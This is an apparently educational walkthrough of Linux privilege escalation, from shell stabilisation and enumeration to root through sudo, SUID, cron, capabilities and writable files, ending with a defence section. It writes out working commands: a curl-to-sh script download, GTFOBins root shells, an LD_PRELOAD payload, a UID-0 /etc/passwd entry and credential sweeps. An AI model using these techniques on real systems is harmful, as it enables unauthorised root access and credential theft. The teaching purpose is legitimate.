Linux Privilege Escalation: From a Low-Privilege Shell to Root
A complete, hands-on Linux privilege escalation walkthrough: stabilise your shell, enumerate the host, and chain SUID, sudo, cron, capabilities and kernel flaws to reach root.
Linux privilege escalation is the step that turns a foothold into control: you land on a box as a low-privilege user, and your job is to become root. It is the part of an engagement where patience beats cleverness, because the way in is almost always a small misconfiguration someone left behind, not an exotic exploit. This guide is the full workflow, from stabilising a raw shell to chaining a single enumeration finding into a root shell, with the blue-team side at the end so you also know how each path is closed.
Everything here is written to be read in order the first time and used as a checklist after that. The commands are real, the output is illustrative, and the targets are your own lab or a box you are authorized to test.
Run every command in this guide only against a machine you own, a lab VM, or a CTF box you are allowed to attack. Privilege escalation against a system without written permission is a crime.
01What you need before you start
Before you start, a handful of words carry the whole guide, so it is worth naming them plainly. None of this is complicated once it has a name, and if you have ever typed a command into a Linux terminal, you already have what you need to follow along.
On Linux, every user has a number. Root is the user whose number is zero, and it can do anything on the machine. A normal account such as uid=1000 is a low-privilege user, fenced in by file permissions. Privilege escalation is simply the move from that fenced-in account to root.
A shell is the command prompt you type into. A foothold is the first shell you get on a target, almost always as a low-privilege user. Turning that foothold into a root shell is the entire goal here, and two ideas get you there.
The first is enumeration, which means looking around the system, patiently and thoroughly, for something misconfigured. The second is GTFOBins, a public catalogue that, for a given program running with extra privileges, hands you the exact command that turns it into a root shell. You will lean on both on nearly every line below.
If you can open a terminal and run a command, you can follow this. You do not need to write code. Read it once from top to bottom, then keep it open as a checklist on your next lab box.
02How Linux privilege escalation works
Linux privilege escalation works by abusing a trust the system already grants, rather than breaking the kernel in half. A normal user cannot read /etc/shadow or restart a service, but the system is full of mechanisms that run code as a more privileged user on purpose: a SUID binary runs as its owner, a sudo rule runs a command as root, a cron job runs a script as whoever scheduled it. Each of those is a door, and a misconfiguration leaves the door unlocked.
So the mental model is simple. Find every place where your input, your files, or a program you can influence ends up executing as root, then make that execution do what you want. The diagram below is the shape of almost every local privilege escalation you will ever do.
Every technique below is a specific instance of that picture. Keep it in mind and the long enumeration lists stop feeling random, because you are only ever looking for one thing: a root-owned mechanism you can reach.
03Stabilise your shell first
Stabilising your shell is the unglamorous first move that saves you from losing access halfway through. A reverse shell usually lands as a dumb, non-interactive shell with no job control, no tab completion, and a habit of dying when you press Ctrl-C. Upgrade it to a full TTY before you touch anything else, so a mistyped command does not end your session.
# spawn a proper PTY, then background and fix the terminal python3 -c 'import pty; pty.spawn("/bin/bash")' # press Ctrl-Z to background it, then on your box: stty raw -echo; fg # back in the shell, set a sane environment export TERM=xterm; export SHELL=/bin/bash
Confirm who you are and what you have. These three commands are the first lines of every privilege escalation, because they anchor everything that follows.
$ id uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm) $ hostname; uname -a web01 Linux web01 5.15.0-91-generic #101-Ubuntu x86_64 GNU/Linux $ sudo -l User dev may run the following commands on web01: (root) NOPASSWD: /usr/bin/find
That sudo -l output is already a finding, and we will come back to it. First, the method.
04Enumerate before you exploit
Enumeration is the whole game, so resist the urge to throw a kernel exploit at the box before you have looked around. The rule is to run an automated script for breadth and then read the output by hand for the one line that matters, because a scanner highlights everything and understands nothing. Automated tools save time; they do not replace judgement.
# automated breadth: download to memory, run, keep the output curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | tee linpeas.txt # watch for cron and other processes you cannot see with ps ./pspy64 -pf -i 1000
LinPEAS colours findings red and yellow for a reason, but the box to root is often a plain-white line it rated low. Scroll the whole output once before you act on the first red flag.
While the scanner runs, work the manual checklist. The table below is the short list that finds the overwhelming majority of real boxes, in rough order of how often it pays off.
| Check | Command | What you are looking for |
|---|---|---|
| Sudo rights | sudo -l | Anything you can run as root |
| SUID binaries | find / -perm -4000 2>/dev/null | A GTFOBins entry owned by root |
| Capabilities | getcap -r / 2>/dev/null | cap_setuid on a binary you control |
| Cron jobs | cat /etc/crontab; ls -la /etc/cron.* | A root job running a writable script |
| Writable files | find / -writable -type f 2>/dev/null | A root-used file you can edit |
| Credentials | grep -riE 'pass|secret|key' /etc /var/www 2>/dev/null | Reused passwords, tokens, SSH keys |
| Kernel version | uname -r | A known exploit, as a last resort |
05SUID and SGID binaries
SUID binaries are the first thing to enumerate properly, because a single misplaced one hands you root in one command. A file with the SUID bit set runs with the privileges of its owner, not the user who launched it, so a root-owned SUID binary always executes as root. Most are legitimate (passwd, sudo, ping), but any unusual one is worth checking against GTFOBins.
# list every SUID binary on the system find / -perm -4000 -type f 2>/dev/null # the SGID equivalent, worth a glance too find / -perm -2000 -type f 2>/dev/null
$ find / -perm -4000 -type f 2>/dev/null /usr/bin/passwd /usr/bin/sudo /usr/bin/mount /usr/bin/find
The workflow from here is always the same: take the binary name to GTFOBins, find the SUID section, and run the one-liner it gives you. GTFOBins is a catalogue of how standard Unix binaries can be abused when they carry extra privileges. The table shows a few of the most common.
| SUID binary | Escalation (from GTFOBins) |
|---|---|
find | find . -exec /bin/sh -p \; -quit |
vim | vim -c ':!/bin/sh -p' |
nmap (old) | nmap --interactive then !sh |
cp | Overwrite a root-owned file you choose |
bash | bash -p |
The -p flag matters: it tells the shell to keep the elevated privileges instead of dropping them, which is the difference between a root shell and a normal one.
$ find . -exec /bin/sh -p \; -quit # id uid=1000(dev) gid=1000(dev) euid=0(root) groups=1000(dev) # cat /etc/shadow | head -1 root:$6$Xn...:19000:0:99999:7:::
06Sudo misconfigurations
Sudo misconfigurations are the most common path to root on real engagements, which is why sudo -l is the first command you run. It lists exactly what your user may run as another user, and every entry is a candidate. A NOPASSWD rule is best, because you do not even need the user password, but any allowed command is worth checking against GTFOBins for its sudo section.
# what can this user run as root? sudo -l
Our earlier output allowed find as root with no password. The GTFOBins sudo entry for find is almost identical to the SUID one, and it drops a root shell on the spot.
$ sudo find . -exec /bin/sh \; -quit # whoami root
When the allowed binary is not directly exploitable, two other sudo paths are worth knowing. If the sudo rule preserves the environment, you may be able to abuse LD_PRELOAD to load your own library as root. And if the box is running an old sudo, the Baron Samedit flaw (CVE-2021-3156) is a heap overflow in sudoedit that gives root regardless of sudo rules, which is why patching sudo matters.
# LD_PRELOAD abuse when sudo keeps the environment (env_keep += LD_PRELOAD) cat > /tmp/x.c <<'EOF' #include void _init(){ setuid(0); setgid(0); system("/bin/bash -p"); } EOF gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c sudo LD_PRELOAD=/tmp/x.so
Run sudo --version. Anything before 1.9.5p2 is vulnerable to Baron Samedit. Public exploits exist, but they can crash the service, so treat it as a lab technique and a reason to patch, not a first move on production.
07Cron jobs and writable paths
Cron jobs escalate privilege whenever a root-scheduled task runs a file or a command you can influence. The task itself runs as root, so if the script it calls is writable by you, or if it calls a program by a relative name you can hijack through PATH, you control what root executes on the next tick. These are quiet wins, because nothing looks wrong until the job fires.
# system cron and the per-directory jobs cat /etc/crontab ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly # find a script a root cron runs that you can write to find / -writable -type f 2>/dev/null | grep -vE '^/proc|^/sys'
If a root cron runs a writable script, appending a reverse shell or a SUID copy of bash is enough. The example below waits for a root cron to run a world-writable backup script.
$ ls -la /opt/backup.sh -rwxrwxrwx 1 root root 94 Jan 10 09:00 /opt/backup.sh $ echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/backup.sh # wait for the next cron tick, then: $ /tmp/rootbash -p # id uid=1000(dev) euid=0(root)
Two related tricks live here too. A PATH hijack works when a root cron or SUID program calls another binary by its bare name, so you place a malicious binary of that name earlier in PATH. A wildcard injection works when a root job runs something like tar * in a directory you can write to, letting you smuggle in --checkpoint arguments as filenames.
08Linux capabilities
Linux capabilities break the all-or-nothing split between root and everyone else, and a careless one is as good as SUID. Instead of making a binary fully SUID-root, an administrator can grant it a single capability, but some capabilities are effectively root. The one to hunt for is cap_setuid, because a binary that can set its UID can set it to zero.
# list files that carry capabilities getcap -r / 2>/dev/null
$ getcap -r / 2>/dev/null /usr/bin/ping = cap_net_raw+ep /usr/bin/python3.8 = cap_setuid+ep
A Python binary with cap_setuid escalates in one line, because you ask it to set your UID to zero and then spawn a shell.
# root through a cap_setuid python /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
09Writable sensitive files and PATH hijacking
Writable sensitive files are the bluntest escalation of all: if you can edit a file root trusts, you win. The classic is a writable /etc/passwd, which still lets you add a root-equivalent account because many systems accept a password hash directly in that file. Generate a hash, append an entry with UID 0, and switch to it.
# only works if /etc/passwd is writable by you openssl passwd -1 -salt pwn hacked # -> $1$pwn$... put it in a new UID 0 line: echo 'pwn:$1$pwn$q...:0:0:root:/root:/bin/bash' >> /etc/passwd su pwn # password: hacked
The same idea applies to any root-used file: a writable service unit, an authorized_keys for root, a cron file, a configuration that sources another script. The question is always the same, which is whether something root executes or reads is writable by you.
10Kernel exploits as a last resort
Kernel exploits are the last resort, not the first, because they are the loudest and least reliable option you have. A working kernel exploit gives root regardless of configuration, but it can panic the box, it is version-specific, and on a real engagement a crashed production server is a serious incident. Only reach for one after enumeration has genuinely come up empty.
# know exactly what you are targeting first uname -r cat /etc/os-release
Two modern examples are worth knowing by name. Dirty Pipe (CVE-2022-0847) affects kernels from 5.8 and lets you overwrite read-only files, including /etc/passwd. Dirty COW (CVE-2016-5195) is the older race-condition classic. Match the exact kernel to a vetted proof of concept, read the code before you run it, and test it in a snapshot you can roll back.
Never run an unread kernel exploit against a box you cannot afford to lose. On an engagement, a kernel panic is downtime you caused. In a lab, snapshot before you fire.
11Hunting for credentials
Credential hunting often beats every technical escalation, because people reuse passwords and leave secrets in files. Before you fight the kernel, read the obvious places: configuration files, command history, environment variables, and anywhere an application stores a database password. A single reused password can take you from a web user to root without a single exploit.
# the usual hiding places cat ~/.bash_history ~/.zsh_history 2>/dev/null grep -riE 'password|passwd|secret|api[_-]?key' /var/www /etc /opt 2>/dev/null find / -name '*.bak' -o -name '.env' -o -name 'id_rsa' 2>/dev/null env
SSH private keys are the biggest prize. A readable id_rsa for another user, or for root, is a direct login, so always check home directories and backup paths for keys you can read.
12A worked path to root
A worked path to root ties the pieces together, because real escalation is a short chain, not a single command. The steps below are the exact sequence a methodical operator follows on a fresh low-privilege shell, and they map onto the loop in the diagram that follows.
Anchor
Run id, uname -a and sudo -l. Know your user, the kernel, and your sudo rights before anything else.
Enumerate
Launch LinPEAS and pspy for breadth, then work the manual checklist for SUID, capabilities, cron and writable files.
Pick one lead
Choose the cleanest finding. A NOPASSWD sudo rule or a GTFOBins SUID binary beats a kernel exploit every time.
Exploit and confirm
Run the technique, then confirm with id and read something only root can, like the first line of /etc/shadow.
Record
Note the exact command and the misconfiguration, because that line is the finding and the fix in your report.
13Detecting and preventing privilege escalation
Preventing privilege escalation is mostly about removing the unlocked doors before an attacker finds them, and detection is about watching the few that must stay open. Every technique in this guide maps to a specific control, which is why the defensive checklist is short and effective. The mitigation summary below pairs each path with what shuts it down.
env_keep for LD_PRELOAD.On the detection side, auditd and a tool like Falco catch the behaviour rather than the file. A process whose effective UID suddenly becomes zero, a shell spawned by a cron job, or a write to /etc/passwd are all cheap, high-signal alerts that fire on the moment of escalation.
14Frequently asked questions
What is the difference between privilege escalation and lateral movement?FAQ
Privilege escalation raises your rights on the same host, for example from a normal user to root. Lateral movement takes the access you have and uses it to reach a different host. You usually escalate locally, then move laterally with the credentials or keys you found.
Should I run a kernel exploit first?FAQ
No. Kernel exploits are the last resort because they are unreliable and can crash the host. Enumerate for sudo rules, SUID binaries, capabilities and cron jobs first, since a misconfiguration is quieter and far more common than an unpatched kernel.
What is GTFOBins and why does it matter here?FAQ
GTFOBins is a catalogue of how standard Unix binaries can be abused when they carry extra privileges, such as SUID or a sudo rule. When you find a root-owned SUID binary or an allowed sudo command, GTFOBins tells you the exact one-liner that turns it into a shell.
How do I practise Linux privilege escalation safely?FAQ
Use deliberately vulnerable virtual machines on an isolated network, or a platform built for it. Practise the enumeration workflow until it is muscle memory, and always snapshot a lab VM before running anything that could crash it.
15Wrapping up
Linux privilege escalation rewards method over memory. You will not remember every GTFOBins payload, and you do not need to, because the workflow is always the same: stabilise the shell, enumerate widely, read the output properly, pick the cleanest root-owned mechanism you can influence, and confirm. The techniques change with each kernel and distribution, but that loop does not, and once it is second nature a box either gives up root in minutes or genuinely has nothing to give.
references
Founder of 0xpriv, covering offensive security, web application vulnerabilities, and practical security research through PHP, Python, and hands-on technical analysis.